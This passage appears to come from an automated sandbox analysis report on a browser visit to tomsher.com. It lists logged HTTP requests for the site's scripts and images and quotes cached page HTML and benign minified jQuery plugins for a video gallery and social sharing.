Source: global traffic	HTTP traffic detected: GET /assets/js/bootstrap.bundle.min.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/isotope.pkgd.min.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/shopify.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/ScrollTrigger.min.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/ScrollToPlugin.min.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/oil-barrel.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/accessability.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/logo.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/web-maintenance.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/noon.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/ScrollSmoother.min.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/swiper-bundle.min.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /assets/js/counter.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/clients.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/rlod.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/gsap.min.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/hybrid.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/header/srv2.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/SplitText.min.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/google-workspace.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/prestashop.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/chroma.min.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/mixitup.min.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/vanilla-tilt.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/youtube.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/privacy.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/hero/4/Group%208.svg HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/wow.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/jquery.meanmenu.min.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/hero/4/Group%209.svg HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/main.js HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/12-years.jpg HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/hero/4/Group%207.svg HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/menu1.webp HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /assets/imgs/mainbannne.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/hero/4/Group%203.svg HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/service/website_development.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_1227.2.dr	String found in binary or memory: <img class="icon-in-menu" width="30" src="https://www.tomsher.com/assets/images/menu/youtube.png" alt="YouTube Video">YouTube Video Marketing</a> equals www.youtube.com (Youtube)
Source: chromecache_1227.2.dr	String found in binary or memory: <li><a href="https://www.facebook.com/tomsherllc" target="_blank"><span><i class="fa-brands fa-facebook-f"></i></span></a></li> equals www.facebook.com (Facebook)
Source: chromecache_1227.2.dr	String found in binary or memory: <li><a href="https://www.linkedin.com/company/tomsherllc" target="_blank"><span><i class="fa-brands fa-linkedin"></i></span></a></li> equals www.linkedin.com (Linkedin)
Source: chromecache_1227.2.dr	String found in binary or memory: "https://www.facebook.com/tomsherllc", equals www.facebook.com (Facebook)
Source: chromecache_1227.2.dr	String found in binary or memory: "https://www.linkedin.com/company/tomsherllc", equals www.linkedin.com (Linkedin)
Source: chromecache_880.2.dr	String found in binary or memory: !function(e,o,i,l){"use strict";var a={videoMaxWidth:"855px",youtubePlayerParams:!1,vimeoPlayerParams:!1,dailymotionPlayerParams:!1,videojs:!1},s=function(o){return this.core=e(o).data("lightGallery"),this.$el=e(o),this.core.s=e.extend({},a,this.core.s),this.videoLoaded=!1,this.init(),this};s.prototype.init=function(){var o=this;o.core.$el.on("hasVideo.lg.tm",function(e,i,l,a){if(o.core.$slide.eq(i).find(".lg-video").append(o.loadVideo(l,"lg-object",!0,i,a)),a)if(o.core.s.videojs)try{videojs(o.core.$slide.eq(i).find(".lg-html5").get(0),{},function(){o.videoLoaded\|\|this.play()})}catch(s){console.error("Make sure you have included videojs")}else o.core.$slide.eq(i).find(".lg-html5").get(0).play()}),o.core.$el.on("onAferAppendSlide.lg.tm",function(e,i){o.core.$slide.eq(i).find(".lg-video-cont").css("max-width",o.core.s.videoMaxWidth),o.videoLoaded=!0});var i=function(e){if(e.find(".lg-object").hasClass("lg-has-poster")&&e.find(".lg-object").is(":visible"))if(e.hasClass("lg-has-video")){var i=e.find(".lg-youtube").get(0),l=e.find(".lg-vimeo").get(0),a=e.find(".lg-dailymotion").get(0),s=e.find(".lg-html5").get(0);if(i)i.contentWindow.postMessage('{"event":"command","func":"playVideo","args":""}',"");else if(l)try{$f(l).api("play")}catch(r){console.error("Make sure you have included froogaloop2 js")}else if(a)a.contentWindow.postMessage("play","");else if(s)if(o.core.s.videojs)try{videojs(s).play()}catch(r){console.error("Make sure you have included videojs")}else s.play();e.addClass("lg-video-palying")}else{e.addClass("lg-video-palying lg-has-video");var t,d,c=function(i,l){if(e.find(".lg-video").append(o.loadVideo(i,"",!1,o.core.index,l)),l)if(o.core.s.videojs)try{videojs(o.core.$slide.eq(o.core.index).find(".lg-html5").get(0),{},function(){this.play()})}catch(a){console.error("Make sure you have included videojs")}else o.core.$slide.eq(o.core.index).find(".lg-html5").get(0).play()};o.core.s.dynamic?(t=o.core.s.dynamicEl[o.core.index].src,d=o.core.s.dynamicEl[o.core.index].html,c(t,d)):(t=o.core.$items.eq(o.core.index).attr("href")\|\|o.core.$items.eq(o.core.index).attr("data-src"),d=o.core.$items.eq(o.core.index).attr("data-html"),c(t,d));var n=e.find(".lg-object");e.find(".lg-video").append(n),e.find(".lg-video-object").hasClass("lg-html5")\|\|(e.removeClass("lg-complete"),e.find(".lg-video-object").on("load.lg error.lg",function(){e.addClass("lg-complete")}))}};o.core.doCss()&&o.core.$items.length>1&&(o.core.s.enableSwipe&&o.core.isTouch\|\|o.core.s.enableDrag&&!o.core.isTouch)?o.core.$el.on("onSlideClick.lg.tm",function(){var e=o.core.$slide.eq(o.core.index);i(e)}):o.core.$slide.on("click.lg",function(){i(e(this))}),o.core.$el.on("onBeforeSlide.lg.tm",function(e,i,l){var a=o.core.$slide.eq(i),s=a.find(".lg-youtube").get(0),r=a.find(".lg-vimeo").get(0),t=a.find(".lg-dailymotion").get(0),d=a.find(".lg-html5").get(0);if(s)s.contentWindow.postMessage('{"event":"command","func":"pauseVideo","args":""}',"*");else if(r)try{$f(r).api("pause")}catch(c){consol
Source: chromecache_880.2.dr	String found in binary or memory: !function(t,e){var s=e.document;t.fn.share=function(i){var r={init:function(i){this.share.settings=t.extend({},this.share.defaults,i);var r=(this.share.settings,this.share.settings.networks),o=this.share.settings.theme,a=this.share.settings.orientation,u=this.share.settings.affix,h=this.share.settings.margin,l=this.share.settings.title\|\|t(s).attr("title"),c=this.share.settings.urlToShare\|\|t(location).attr("href"),p="";return t.each(t(s).find('meta[name="description"]'),function(e,s){p=t(s).attr("content")}),this.each(function(){var s,i=t(this),m=i.attr("id"),d=encodeURIComponent(c),f=l.replace("\|",""),g=p.substring(0,250);r.forEach(function(e){s=n.networkDefs[e].url,s=s.replace("\|u\|",d).replace("\|t\|",f).replace("\|d\|",g).replace("\|140\|",f.substring(0,130)),t("<a href='"+s+"' title='Share this page on "+e+"' class='pop share-"+o+" share-"+o+"-"+e+"'></a>").appendTo(i)}),t("#"+m+".share-"+o).css("margin",h),"horizontal"!=a?t("#"+m+" a.share-"+o).css("display","block"):t("#"+m+" a.share-"+o).css("display","inline-block"),"undefined"!=typeof u&&(i.addClass("share-affix"),-1!=u.indexOf("right")?(i.css("left","auto"),i.css("right","0px"),-1!=u.indexOf("center")&&i.css("top","40%")):-1!=u.indexOf("left center")&&i.css("top","40%"),-1!=u.indexOf("bottom")&&(i.css("bottom","0px"),i.css("top","auto"),-1!=u.indexOf("center")&&i.css("left","40%"))),t(".pop").click(function(){return e.open(t(this).attr("href"),"t","toolbar=0,resizable=1,status=0,width=640,height=528"),!1})})}},n={networkDefs:{facebook:{url:"http://www.facebook.com/share.php?u=\|u\|"},twitter:{url:"https://twitter.com/share?via=in1.com&text=\|140\|"},linkedin:{url:"http://www.linkedin.com/shareArticle?mini=true&url=\|u\|&title=\|t\|&summary=\|d\|&source=in1.com"},in1:{url:"http://www.in1.com/cast?u=\|u\|",w:"490",h:"529"},tumblr:{url:"http://www.tumblr.com/share?v=3&u=\|u\|"},digg:{url:"http://digg.com/submit?url=\|u\|&title=\|t\|"},googleplus:{url:"https://plusone.google.com/_/+1/confirm?hl=en&url=\|u\|"},reddit:{url:"http://reddit.com/submit?url=\|u\|"},pinterest:{url:"http://pinterest.com/pin/create/button/?url=\|u\|&media=&description=\|d\|"},posterous:{url:"http://posterous.com/share?linkto=\|u\|&title=\|t\|"},stumbleupon:{url:"http://www.stumbleupon.com/submit?url=\|u\|&title=\|t\|"},email:{url:"mailto:?subject=\|t\|"}}};return r[i]?r[i].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof i&&i?void t.error('Method "'+i+'" does not exist in social plugin'):r.init.apply(this,arguments)},t.fn.share.defaults={networks:["in1","facebook","twitter","linkedin"],theme:"icon",autoShow:!0,margin:"3px",orientation:"horizontal",useIn1:!0},t.fn.share.settings={}}(jQuery,window); equals www.facebook.com (Facebook)
Source: chromecache_880.2.dr	String found in binary or memory: !function(t,e){var s=e.document;t.fn.share=function(i){var r={init:function(i){this.share.settings=t.extend({},this.share.defaults,i);var r=(this.share.settings,this.share.settings.networks),o=this.share.settings.theme,a=this.share.settings.orientation,u=this.share.settings.affix,h=this.share.settings.margin,l=this.share.settings.title\|\|t(s).attr("title"),c=this.share.settings.urlToShare\|\|t(location).attr("href"),p="";return t.each(t(s).find('meta[name="description"]'),function(e,s){p=t(s).attr("content")}),this.each(function(){var s,i=t(this),m=i.attr("id"),d=encodeURIComponent(c),f=l.replace("\|",""),g=p.substring(0,250);r.forEach(function(e){s=n.networkDefs[e].url,s=s.replace("\|u\|",d).replace("\|t\|",f).replace("\|d\|",g).replace("\|140\|",f.substring(0,130)),t("<a href='"+s+"' title='Share this page on "+e+"' class='pop share-"+o+" 